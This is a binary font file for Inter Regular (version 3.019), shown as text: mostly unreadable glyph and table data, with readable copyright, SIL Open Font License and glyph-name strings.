Z1fސ?YT54&#"32>54&#"32>54&#"3"$46632#"$46632#"$46632};=?<<:}ɐ};=??=;}ʎ}9<554&&#!5!2#53266554&##532#,T ep8_]/SrLȀDMK]SOWژWD9om|\x<&F0XQKX ,E]ay!5!2$554$#!5! !53266554&##532#532>554&&##532#! $5$!!!"3!!#"&&5546633#"33#".554$33#"33t,4 e`DQ#RZտ_]-Spܲ Pe 4ߝ, pQR>N$#QDpTĎUU[/Q~SOWژW&F0XQKX9om|\x&&TjXjT!E6X0F&Xx3lu|dd H7d0аx00t` l -!!3#3#'3#3!!#546332#54&##"(,ԔTT,L@JfQ_ PhL\pppiG5{L` t'+#5#"&5546632#&&#"326735!\jJ\R<>P&&P>EIwX@,ήr_8rV936hKIg6>BxH \ %71!!!7!!H,0,,,$t#.#"#>32[zemuR,₄㺉,\O11O\,YJJH4@ "!>$wI@ HtT~=4@ 52!.Hwd=~NJTtH `L h !54 !5!54<p "$&&'39*CtQ'TH-p 3#52>9ԨxȘQtC-HT`%&&#"'>32o?nnQZ0 +E((TZ 4532>7#"&&'.i]]PkK6,0  )8,VT l< hl< hl< hP<%2>54.54>3"#"$&&54>54&4x]!$66$W YC6H6@B8H8E[ W6H6!]R:Lztt=#noL=BL{gͧeeg{LB=Lon#L_:R75!!300`B`&BxxH(  #%73!!\t``` (`Dl &NNP``#`p08 %%"$5!526654&#"'6632PTVN<<*K3 BQes5`CC]O 'J{M"!36663256$554&&#"0Y؎pmSx`Vn !9Qi)AYq !AQg}3K(>7Wo Tl  ' ? W q  # 3 g   % | )AYq(Vn,D\t $<Tl1AYq+C[s 6\2JbzS0H`4r;7Og?_Ld|&<Tl   , D \ t !!!4!D!\!!!!!"" "8"P"h""""""##(#@#X#p#####$$$0$H$X$p$$$$%%A%Y%q%%%%&&a&q&&&&&''&'>'m''''((&(>(N(^(n(((()))1)I)a)y)*8*i******+ +!+,g,-----..'.?.W//./F/^/v/////00060N0f0~0000011.1F1^1n1111122 2:222333"3:3344&4555)5606H6`6x666667788|9959M9e9}99999::%:;S;w;;;;;<<>.>F>^>v>>>>>???6?N?f?~?????@@&@>@V@@@AAXApAAAAAB0BHB^BvBBBCC,CDCCCCDD,DDDDDDDDE E!E9EQEiEEEEEFF&F>FVFFFGGGGGHH4HLHdH|HHHHHII*JJJ4JLJdJzJJJJJKKL L!L7LLLM NN&N>NNNNNOO1OIOaOyOOOOOPP%P=PSPkPPPPPPQQ)QAQYQqQQRR4RSYSqSSTTU+UUUVV+VCVcVsVVWWX}Y YYZZ(Z@ZXZpZ[([@\,]](]^X^^__*_B_Z_r_____```2`J`j``````a a,a<aRabazab.bxbbbc cddddddee-eEeeffggh7hhiiijj(j@jXjpjjjjk@kXkpkkkkklll0llllllmm)m_mwmmmmn n_nnnooo.oFoopp(p@pXpppppqq-qxqr[rsrrrrrs s!s[ssst\tttttttu u"u2uv@vw0wHw`wxwwxRxyyyyzz,zDzZzrzzzz{A{||}})}A}Y}q}}}~c~{~~~~~ #;Sk/E]u-E]u#;Sb6F`#R 6Lbz9/E[su'(>Vndw=f~&rX(@Xp0H`x4bc{6Ndt>?*BZpj0_w"+C8e(N| #;Sm/Ic} %Giw&|PR*Bb2iUy Rr!6Og'?_?Wo6!6Nf~]u¥½5MkÉç=[qďħLŃśű)AYqƉơƹǏ:Ȏ $<T]ʥ1Iayˑ˩ !9Qí̙(ͳ((@XpψϠϸ8XxИи(HѴX5ӍԇԷzՒ$jւ֚*BׄBmمٶ9Qگ#lrFݥ$ް dA)&s#tD6p/:9Q?@X12i#L.>N^n~.F 8b$L^pDc}$|=Ys'S'9Kh  : R     @      + ; M _ o     3 h    C k  IK}9SAYFX# 0&+oO'r  s !?!!"""#T##$!$e$%8%%&e&&'']''((k(()n)***+u+,?,,,,- -0-B-T-----. ../.A.S.e.w.../////000)0;0M0_0q0000000111%171I1[1112L233s3445B5_5q5555555666%676I6[6m666777I777888=8W8~88999+9=9O9a9s99999: :):I:a::::;<>.>? ?*?J?j????@B@@AAQAkAAAB1BBCCICCCCD D:DTDDEE:ELEwEEEEEF#FPFFFG(G:GLGGGGGGGGGGGGGGGGGH)HAHYHiHyHIIAIqIIJ+JYJJJK=KmKKKL?LLMIMzMMN\NNOOO)O;OjOOOOOOPPPAPqPPPPQQ-QWQQR"RRSSbSTFTfTTUVxW5WX%X5XoXXY<YZ[[F[\+\_\]w]^P^^_$_g__``>`u``a*aoaabfbbbcc2cLcfcccccddd6dPdjdddddee e:eTeneeeeef f$f>fXfrfffffgg(gBg\gvggggghh,hFh`hzhhhhhii0iJidi~iiiijjj4jNjhjjjjjkkk8kRklkkkkkll"l<lVlplllllm m&m@mZmtmmmmmnn*nDn^nxnnnoo4oLodo|oop*ppqqqqr-rErrsPst tAtYu uvv2vJvbvvvw~x,xy5z*zz{%{{|r|}}}}~(~@~P~h~F^>Ic)9IYiyG U0gK(r"X>ZrgCp-[t!f7n*"]q02(4-?oT z [-c{%l/^p,>P5b)BWg=Zj 2D9Tl7_ox!Iaq)9Yy"*0@`x'lCc7EWŸ<eÎ ĬtŔŬCƽY1ʹ˵#̶̀7EnΘ)^ϩϻ/IpЙоB|ѲWw  >ԓ&b 2D֎ֺ֨ykس5sڷ!JۗqpSߌ g+'Y-C[subJ{,^3n4JdL0H= g#HXp%32JbC M;7vX{<\noTv" E   X z    & 6 F V fna*Y|N}IKc}mX]&sK_< UP|j  pHpHpHpHpHpHpHpHpHpHpHpHpHpHpHpHpHpHpHpHpHpHp4pHpHpHpHpHpHpHpHpHpHpHpHpp0pDppppHpHpHpHpHpHpHpHpHpHpp0pDppppHpH H H H H((((X((|  ddd d d d dtd$tttt,,,,,,,,,@@@@@@@@@$$$$$$$$$p @$ |  X X$ xd  $Xp\0L|XXDtttttt,,,,,,4d,000000000<0 HHHHHHHHHHTHHHHHHHHH ```````````````````````````````` Xd , L t`````` |X` ( (((((((((((((((((((((((( (pHpHpH p< p< p< p< p< p< p<LLLLLLPHLPHPHPHPHPHPHPHPHPHXPHHPHL L 8H tHPHPH 8L lPH444444444444444444444444444444444444 , , , ,$$$$$$$$$$$r t hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh@HH@H Hpp hLx|x|88(X@xdZxzd@xZx ppdphppppppppp  x0@L@LH\bpx888888b888888p8xXXXTXXpXXXXXXXXddddddddddddddddddddddddd ` ` ` ``````````xxxxx ` `` ` ` ` ` ` ` ` ` ` ` ` ` ` ` ` `HHH `TpH`p@`Xh (< t D (< t ``HDH@TTDH pL pL<xH`HD     x  X0 8 l` ` PH`                          ``0T0pppppppppppppppppppppppp|phXhp`dHHHH0(pppppppppppppppppp 8`|,  4 x xpx8ht`|P$PP@hhh|xxhPP 4H@hh ( h,t $,H`$(@(|hPHP HH p<pHx@, ` d Dt((\HPP                    p (ppp,LL``h` L,L`h` L0@h@ 0`0`000 0`0`0000,p,pp00,0,0(lt|lt|< @@@@@8@8@ @ @ @ @@@@@@@@8@8@ @ @ @ @@@P(p`  `pppxp <php,T8TXPT@XtxphTXT8l,44 @,4 tlrpxhlDThpH(,T8TXPT@XtxphTXT8l,44 @,4 tlrpxhlDThpH(h\`<tHhX\(t<\HL\<`Ph\`<tHhX\(t<\HL\<`hhd@h\`<tHhX\(t<\HL\<`hhd@h\`<tHhX\(t<\HL\<` 0` b` ` ph t0\ H @` t h T T T hT Tx0xpLpNT 8\,X4P008PP    t,pH`   ``` `` V . . V@@        ``` ``@@ 0 $         @        @ @ @   @ @ @ T,, @ @ @ @ @ ` ` l        H HdHH H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H H HdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHdHd0   pHT$HJ (0@r ` ,PHPH ( 4  pL pL8LX,TLT,H0  <888x0$$(4hHPP44  LLHh`8(  `x|$``dxP<x  0<X88l``FL (`$$$x D``4`p\l\P|8p@~llll(H L0pH X  @H XHL  L\hhh\L X`P|0h4\T(Hh\ (x8Thpt x,h4 t<TT@hhhhd8( `<<L<0t`XXp0`T Lx\|8@8 H\ppxd|<xtHxhxp0$Z40Td|| pp||||p,,T,dh\l `` `|dpxP|n   ht dL $H`<```XH@ $Ppxpx xx Xj .&&RSMS X  $$ ndd~HP_asw/?CIMPRX[e'?EMWY[]} ' _ q y  !!!! !!!#!&!+!.!2!;!M!O!S!{!!!!!!!!!!!!!"""""""+"H"`"e####'#+####$#$h$$%%%%%%%%%%%&&&<&a&e&'''V'd'''+++,|,-.. +JO\`ij*7=^d- J!Q`btz/?CGMORV[b (@HPY[]_  / p t z !!!! !!!!&!*!.!2!;!M!O!S!Z!|!!!!!!!!!!!!"""""""+"H"`"d####%#+####$#$`$$%%%%%%%%%%%&&&<&a&e&'''V'd'''+++,|,-.. ,KP]ajk+8>_ /.';e5<sbFzyZ{nBM:$Q3,pkhR8:߳ r7ߺ߷ߊ߃ߣفx"c.a`& !""# $$%k%l%&&& d pbLLR\f b      < ^  $ F T  HFDF@plbdflntXFLJ`1mK\0l;<{Q|M5CAIT_ #+@v}~=P?f?FRd;AEctANB3LOhRmduTRU8=K`abc,EFGBACr Jghie%    &   LKMLNMONVXSdjekflgmhn J -./6HIJu9MNOfghi{|zW@F~ARJH\UVzQc5rD lz=qu#$2 |}~^`"?K  >LM!]^0 ?d+iojpNOPQj}W kqPQRSw.QG!eEyf DCGBsITUGHJI-lZ6m{HIYWKJdGyv  "084FB13_bax%&<'yzk57jsS(+ a: dnpqvke,6Xzx|w~}yUT{;=>Vb v9zOE hi= # $ % & gt"|m!H{<(>e{(ETn'ABCDRSklH~eg,o- ' ( ) *LIPn + , - .S) / 0 1 2$ 80G79*p    C7@Q/pK 3n    P5#F:optMx 4 5 6< 7y<.     y '12@!  ":D;Bq8sjtk 8 9 : ;  < = u v w xBCCDDEPOWYXZY[Z\[]lrmsntoupv$%&1234TUVWw>x?RSTUklmno~ y z  qwrxsytzu{v|w}x~XY Z!["\#]$^%_&`'a(b)c* { | } ~  )*+,-./0#$%&'()*pqrstuvw1 Q ] x 4   3456789:^_`abcde?@+,-/; fghij yz{ |}  | mo ?ATSUV ijqnopWZq~}@]^rstvwx29uY)>@674 [\  u    c     a` VY[ZXWr*)fFLVX    [_\`   R^  ] 9:;<  P !!1""m##K$$%%\&&0''l();**++,,{--Q..|//M023569::;;<<==>>??5@@CAABBACCIDDTEE_FFGGHHIIJJ KKLLMM#NN+OO@PPvQR}SSTTUUVVWWXXYYZZ[[=\\P]]?^^__``faabb?ccFddReedffgghhiijjkkllmmnnoopp;qqArrEssctttuuvvwwxxyyzz{{A||N}}B~~3LOhRmduTRU8=K`,EBACr Jge%   &   LKM  L  N  M  O  NVXSdjekflgmhn  !!""##$$%%&&''(())**++,,--..//0011223344 55667788J99::;;<<==>>??@@AA BBCC-DDEE.FFGG/HHJJ6KKLLHMMNNIOOPPJQQRRuSS9TTUUMVVWWNXXYYOZZ[[f\\]]g^^__h``aaibbcc{ddee|ffggzhhiijjkkllmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~W@F~ARJH\UVzQc5rD lz=qu#2 |^`"?K  >LM!]^0 ?d+iojp        N  OPQj}  !!W"#$$%%&&'' ((k))q**P++,,Q--..R//00S112233445566w7789::.;;Q<<G==!>>??e@@ABCCEDDEEFFyGGfHH IIJJDKKCLLMMGNNOOPPQQRRSSBTTsUUIVWTXXYYZZ[\G]]J^^I__``aa-bbccddeefghhiiljjkkllmmnnZopqqrrssttuu6vvwwmxx{yyHzz{{I||Y}}W~~KJdGyv   "084FB13_bax%&<'yk57jsS(+ a: dnpvke,6Xzx|w~}      y    UT{;!"=##$%&&''(())V**++,,-.//0011b2233445566778899::;;<<== >>??v@@9AABBzCCODDEEEFFGGHOPPQ_ ``aabs tuhvv=ww #zz {} $~~ gt"|fm!H{<(>e{(ETn'ARkH~eg,o- ' (LIPn +S) / 0$         80G79*p"#$ %%&& '' (,-/00134455667899C::;;<<==>>7??@@@AAQBBCCDDEEFFGGHIJKLLMOPQRRSS/TTUUpVWXXYZ[[\\K]] 3^^__``aanbbccddeeffgg hhii jjkk llmm nnooPppqqrrss5tt#uuvvwwFxxyy:zz{{o||}}p~~tMx 4< 7y<.     y '12@!  ":D;Bq8sjtk 8 :  <//?? CCGGHIMMOOPPRRVVWX[[bbccde > uBCCDDEP  O  W  Y  X  ZY[Z\[]lrmsntoupv  !!""##$$%%&&''(())**++,,--..//00112233445566778899::;;<<==>>$??@@%AABB&CCDD1EEFF2GGHH3IIJJ4KKLLTMMNNUOOPPVQQRRWSSTTwUU>VVxWW?XXYYRZZ[[S\\]]T^^__U``aakbbcclddeemffggnhhiiojjkk~llmmnnooppqqrrssttuuvvwwxxyyzz{{||}}~~ y z  qwrxsytzu{v|w}x~XY Z!["\#]$^%_&`'a(b)c* {)#K} 'U(/07p8?@E.HMgPWYY[[]]__`ghopp1qq rrQss tt]uu vvxww xx4yy zz{{ ||}} 23^:?+/; fi   y |    | mo    ?  A  T  S  U      i  q    n   ! " "W # #Z $ $q % %~ & &} ' '@ / / 0 1] 2 4r 5 7v 8 8 9 : ; ; < <2 = =9 > >u ? ? @ @ A A B B C CY D D) E E> F F@ G H6 I I4 J J K K L M[ N N O O P V W Wu X ^ _ _ p p q q t y z | } ~                         c                !!b!!!!a!!`! ! !!Y!!!!!!!!! !!!"!"!#!# !&!&!*!+!.!.!2!2!;!;!M!M_!O!O !S!SS!Z!ZV![![Y!\!\[!]!]Z!^!^X!_!_W!`!`!a!a!b!b!c!c!d!d!e!e!f!f!g!g!h!h!i!i!j!j!k!k!l!l!m!m!n!n!o!o!p!pr!q!q!r!r!s!s*!t!t)!u!u!v!v!w!w!x!xf!y!y!z!z!{!{!|! !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!"""""""""""""""""+"+"H"H"`"`"d"e#######%#%#&#'#+#+##########$#$#$`$h#$$$$"%%%%]%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%X%%&&&&&<&<&a&a&e&e&&'''''V'V'd'd''#'' ''''''''''''++++++,|,|,,-- ..: ..  +,J KKLLMMNNOOP\]]F^^L__V``XaiZjjsk  *o [_\`          R^   !!""##]$$ %%&&''(())**+7,8==>^]_b9ccdd w - //0ICjjkkPPRR2^     .  6 & T@       4   0 F :b F     ,0  $\  2  .    ( $  B  N X ` v "            . 6 L  ^ ! ~ "Copyright 2020 The Inter Project Authors (https://github.com/rsms/inter)InterRegularInter:VF:2021:0a5106e0bInter RegularVersion 3.019;git-0a5106e0bInter-RegularInter UI and Inter is a trademark of rsms.rsmsRasmus Anderssonhttps://rsms.me/This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is available with a FAQ at: http://scripts.sil.org/OFLhttp://scripts.sil.org/OFLOpen digitsDisambiguationr curves into round neighborsDisambiguation without slashed zeroAlternate oneOpen fourOpen sixOpen nineLower-case L with tailr with curved tailAlternate German double sUpper-case i with serifFlat-top threeCaptital G with spurSingle-storey aWeightSlantThinThin ItalicExtraLightExtraLight ItalicLightLight ItalicItalicMediumMedium ItalicSemiBoldSemiBold ItalicBoldBold ItalicExtraBoldExtraBold ItalicBlackBlack Italic0       !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~      !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~                           ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~                            ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~  uni0041uni00C4uni00C3uni00C0uni00C1uni00C2uni00C5uni01FAuniEE02uni0100uni0102uni0104uni01CDuni01DEuni01E0uni0200uni0202uni0226uni1E00uni1EA0uni1EA2uni1EA4uni1EA6uni1EA8uni1EAAuni1EACuni1EAEuni1EB0uni1EB2uni1EB4uni1EB6uni0391uni0386uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1FB8uni1FB9uni1FBAuni023Auni1FBBuni0410uni04D0uni04D2uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1FBCuni039Buni00C6uni01E2uni01FCuni04D4uni0042uni1E02uni1E04uni1E06uni0243uni0181uni0412uni0392uni0043uni0187uni00C7uni0106uni0108uni010Auni010Cuni1E08uni023Buni0186uni03F9uni0044uni018Auni010Euni1E0Auni1E0Cuni1E0Euni1E10uni1E12uni0189uni01F2uni01C5uni0045uni00C8uni00C9uni00CAuni00CBuni0112uni0114uni0116uni0118uni011Auni0204uni0206uni0228uni1E14uni1E16uni1E18uni1E1Auni1E1Cuni1EB8uni1EBAuni1EBCuni1EBEuni1EC0uni1EC2uni1EC4uni1EC6uni0246uni018Euni0395uni0388uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1FC8uni1FC9uni0415uni0400uni0401uni04D6uni0046uni0191uni1E1Euni2132uni0047uni01E4uni0193uni011Cuni011Euni0120uni0122uni01E6uni01F4uni1E20uniE002uniE003uniE004uniE005uniE006uniE007uniE008uniE009uniE00AuniE00Buni0048uni1E28uni0124uni021Euni1E22uni1E24uni1E26uni1E2Auni0126uni04C7uni04A2uni04C9uni04A4uni01F6uni0397uni0389uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1FCAuni1FCBuni041Duni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FCCuni0049uni00CFuni1E2Euni0197uni1E2Cuni00CCuni00CDuni00CEuni0128uni012Auni012Cuni012Euni0130uni01CFuni0208uni020Auni1EC8uni1ECAuni0196uni0399uni038Auni03AAuni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1FD8uni1FD9uni1FDAuni1FDBuni0406uni0407uniE00CuniE00DuniE00EuniE00FuniE010uniE011uniE012uniE013uniE014uniE015uniE016uniE017uniE018uniE019uniE01AuniE01BuniE01CuniE01DuniE01EuniE01FuniE020uniE021uniE022uniE023uniE024uniE025uniE026uniE027uniE028uniE029uniE02AuniE02Buni004Auni0134uni0248uni037Funi0408uni004Buni0136uni01E8uni1E30uni1E32uni1E34uni04A0uni049Auni0198uni039Auni004Cuni0139uni013Buni013Duni1E36uni1E38uni1E3Auni1E3Cuni0141uni023Duni01C8uni004Duni1E3Euni1E40uni1E42uni04CDuni039Cuni03FAuni041Cuni004Euni00D1uni0143uni0145uni0147uni01F8uni1E44uni1E46uni1E48uni1E4Auni019Duni014Auni0418uni040Duni0419uni04E2uni04E4uni048Auni0376uni039Duni01CBuni004Funi00D6uni00D5uni00D8uni01A0uni00D2uni00D3uni00D4uni014Cuni014Euni0150uni01D1uni01EAuni01ECuni020Cuni020Euni022Auni022Cuni022Euni0230uni1E4Cuni1E4Euni1E50uni1E52uni1ECCuni1ECEuni1ED0uni1ED2uni1ED4uni1ED6uni1ED8uni1EDAuni1EDCuni1EDEuni1EE0uni1EE2uni01FEuni039Funi038Cuni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1FF8uni03F4uni1FF9uni041Euni04E6uni019Funi04E8uni04EAuni0152uni0050uni1E54uni1E56uni048Euni01A4uni03A1uni1FECuni0051uni0052uni0154uni0156uni0158uni0210uni0212uni1E58uni1E5Auni1E5Cuni1E5Euni211Funi211Euni024Cuni0053uni015Auni015Cuni015Euni0160uni0218uni1E60uni1E62uni1E64uni1E66uni1E68uni0405uni01A7uni1E9Euni0054uni0162uni0164uni021Auni1E6Auni1E6Cuni1E6Euni1E70uni01ACuni01AEuni023Euni03A4uni0055uni01AFuni00D9uni00DAuni00DBuni00DCuni0168uni016Auni016Cuni016Euni0170uni0172uni01D3uni01D5uni01D7uni01D9uni01DBuni0214uni0216uni1E72uni1E74uni1E76uni1E78uni1E7Auni1EE4uni1EE6uni1EE8uni1EEAuni1EECuni1EEEuni1EF0uni0244uni0056uni1E7Cuni1E7Euni0057uni0174uni1E80uni1E82uni1E84uni1E86uni1E88uni0058uni1E8Auni1E8Cuni04B2uni04FCuni03A7uni0059uni01B3uni00DDuni0176uni0178uni0232uni1E8Euni1EF2uni1EF4uni1EF6uni1EF8uni024Euni03A5uni038Euni03ABuni1F59uni1F5Buni1F5Duni1F5Funi1FE8uni1FE9uni1FEAuni1FEBuniEE03uni005Auni0179uni017Buni017Duni1E90uni1E92uni1E94uni0224uni01B5uni0396uni2C7Funi0061uni00E1uni0103uni1EAFuni1EB7uni1EB1uni1EB3uni1EB5uni01CEuni00E2uni1EA5uni1EADuni1EA7uni1EA9uni1EABuni0201uni00E4uni01DFuni0227uni1EA1uni01E1uni00E0uni1EA3uni0203uni0101uni0105uni1E9Auni00E5uni01FBuniEE04uni1E01uni00E3uni0250uni0430uni04D1uni04D3uni00E6uni01E3uni01FDuni04D5uniE02CuniE02DuniE02EuniE02FuniE030uniE031uniE032uniE033uniE034uniE035uniE036uniE037uniE038uniE039uniE03AuniE03BuniE03CuniE03DuniE03EuniE03FuniE040uniE041uniE042uniE043uniE044uniE045uniE046uniE047uniE048uniE049uniE04Auni0062uni0180uni0183uni0253uni1E03uni1E05uni1E07uni0063uni023Cuni0188uni0255uni00E7uni0107uni0109uni010Buni010Duni1E09uni03F2uni0441uni0064uni0111uni0256uni0257uni018Cuni0221uni010Funi1E0Buni1E0Duni1E0Funi1E11uni1E13uni01F3uni02A3uni01C6uni02A5uni02A4uni20ABuni0065uni00EBuni0247uni00E8uni00E9uni00EAuni0113uni0115uni0117uni0119uni011Buni0205uni0207uni0229uni1E15uni1E17uni1E19uni1E1Buni1E1Duni1EB9uni1EBBuni1EBDuni1EBFuni1EC1uni1EC3uni1EC5uni1EC7uni0435uni0450uni0451uni04D7uni01DD _part.f_baseuni0066uni1E9Cuni1E9Buni1E1Funi02A9uni0067uni0260uni01E5uni011Duni011Funi0121uni0123uni01E7uni01F5uni1E21uni0068uni1E29uni045Buni0452uni0266uni0267uni0195uni0265uni02AEuni02AFuni0127uni0125uni021Funi1E23uni1E25uni1E27uni1E2Buni1E96uni04BBuni0069uni0131uni00EFuni1E2Funi0129uni1E2DuniE04Buni0268uni00ECuni00EDuni00EEuni012Buni012DuniE04Cuni012Funi01D0uni0209uni020Buni1EC9uni1ECBuniE04Duni0237uni025Funi0249uniE04Euni0456uni0457uni0133uni006AuniE04Funi029Duni0135uni01F0uni03F3uni0458uni01C9uni006Buni0199uni0137uni01E9uni1E31uni1E33uni1E35uni029Euni006Cuni0142uni019Auni026Buni026Duni026Cuni0234uni0140uni013Auni013Cuni013Euni1E37uni1E39uni1E3Buni1E3DuniE050uniE051uniE052uniE053uniE054uniE055uniE056uniE057uniE058uniE059uniE05AuniE05BuniE05Cuni04CFuni006Duni0271uni026Funi0270uni1E3Funi1E41uni1E43uni006Euni00F1uni0273uni014Buni0235uni0272uni019Euni0144uni0146uni0148uni01F9uni1E45uni1E47uni1E49uni1E4Buni01CCuni006Funi00F6uni00F5uni00F8uni01A1uni00F2uni00F3uni00F4uni014Duni014Funi0151uni01D2uni01EBuni01EDuni020Duni020Funi022Buni022Duni022Funi0231uni1E4Duni1E4Funi1E51uni1E53uni1ECDuni1ECFuni1ED1uni1ED3uni1ED5uni1ED7uni1ED9uni1EDBuni1EDDuni1EDFuni1EE1uni1EE3uni01FFuni03BFuni03CCuni1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F78uni0473uni0275uni043Euni04E7uni0153uni0479uni0070uni048Funi01A5uni1E55uni1E57uni0440uni0071uni02A0uni024Buni024Auni0072uniE05Duni024Duni0279uni027Buni027Funi027EuniE05Euni0155uni0157uni0159uni0211uni0213uni1E59uni1E5Buni1E5Duni1E5FuniE05Funi027DuniE060uni027CuniE061uniE062uniE063uniE064uniE065uniE066uniE067uniE068uniE069uni0073uni0282uni023Funi015Buni015Duni015Funi0161uni0219uni1E61uni1E63uni1E65uni1E67uni1E69uni0455uni01A8uni00DFuniE06Auni0074uni01ABuni0288uni0236uni02A8uni0287uni0167uni0163uni0165uni021Buni1E6Buni1E6Duni1E6Funi1E71uni1E97uni0075uni00FCuni0169uni01B0uni00B5uni0289uni00F9uni00FAuni00FBuni016Buni016Duni016Funi0171uni0173uni01D4uni01D6uni01D8uni01DAuni01DCuni0215uni0217uni1E73uni1E75uni1E77uni1E79uni1E7Buni1EE5uni1EE7uni1EE9uni1EEBuni1EEDuni1EEFuni1EF1uni0076uni028Cuni1E7Duni1E7Funi0077uni1E85uni028Duni0175uni1E81uni1E83uni1E87uni1E89uni1E98uni0078uni1E8Buni1E8Duni0445uni03C7uni0079uni00FFuni01B4uni024Funi00FDuni0177uni0233uni1E8Funi1E99uni1EF3uni1EF5uni1EF7uni1EF9uni0443uni045Euni04EFuni04F1uni04F3uni028Euni04EEuni04F0uni04F2uniEE05uni007Auni01B6uni0225uni0240uni0290uni017Auni017Cuni017Euni1E91uni1E93uni1E95uni0291uni00DEuni0393uni0394uni0398uni039Euni03A0uni03A3uni03A6uni03A8uni03A9uni1FFBuni038Funi1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1FFAuni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FFCuni01B1uni03D2uni03D3uni03D4uni0194uni0411uni0490uni04FAuni0414uni0416uni0496uni0417uni041Auni049Cuni04C3uni041Buni0472uni040Funi0423uni0424uni0426uni04B4uni0427uni04B6uni04B8uni04BAuni040Buni0428uni0429uni042Auni042Buni042Cuni0409uni040Auni042Duni042Euni042Funi0494uni04A6uni0404uni04A8uni04BCuni04D8uni04E0uni0474uni0402uni00F0uni00FEuni03B1uni03ACuni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F70uni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni03B2uni03B3uni03B4uni03B5uni03ADuni029Auni025Buni025Cuni025Euni025Duni1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F72uni03B6uni03B7uni03AEuni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F74uni1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni03B8uni03B9uni0390uni03AFuni03CAuni1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F76uni1FD0uni1FD1uni1FD2uni1FD6uni1FD7uni03BBuni03BEuni03C0uni03C1uni1FE4uni1FE5uni03FCuni03C2uni03C3uni03C4uni03C5uni03B0uni03CBuni03CDuni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F7Auni1FE0uni1FE1uni1FE2uni1FE6uni1FE7uni03C6uni03D5uni03C8uni03C9uni03CEuni1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F7Cuni1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni0263uni0431uni0432uni0433uni0491uni04FBuni0434uni0436uni0497uni0437uni0438uni048Buni043Auni04C4uni049Buni049Duni04A1uni043Buni04C6uni052Funi043Cuni04CEuni043Duni04A3uni04A5uni04C8uni04CAuni043Funi0442uni0444uni04FDuni04B3uni0446uni045Funi0447uni04B7uni04B9uni0448uni0449uni044Cuni044Auni044Buni048Duni0463uni0459uni045Auni044Duni044Euni044Funi0495uni04A7uni0454uni04A9uni04B5uni04BDuni04E1uni0475uni0024uni00A2uni00A5uni00A3uni0192uni20BAuni20BDuni20ACuni20B9uni20B8uni20A7uni20B1uni20ADuni20A9uni20A4uni20B3uni20B4uni20A6uni20B2uni20A1uni20B5uni20A2uni20AEuni20AFuni20A5uni20AAuni20BCuni20A8uni20BEuni20A3uni0E3Funi20BFuni0030uni0031uni0032uni01BBuni0033uni0034uni0035uni01BCuni0036uni0037uni0038uni0039uniE06BuniE06CuniE06DuniE06EuniE06FuniE070uniE071uniE072uniE073u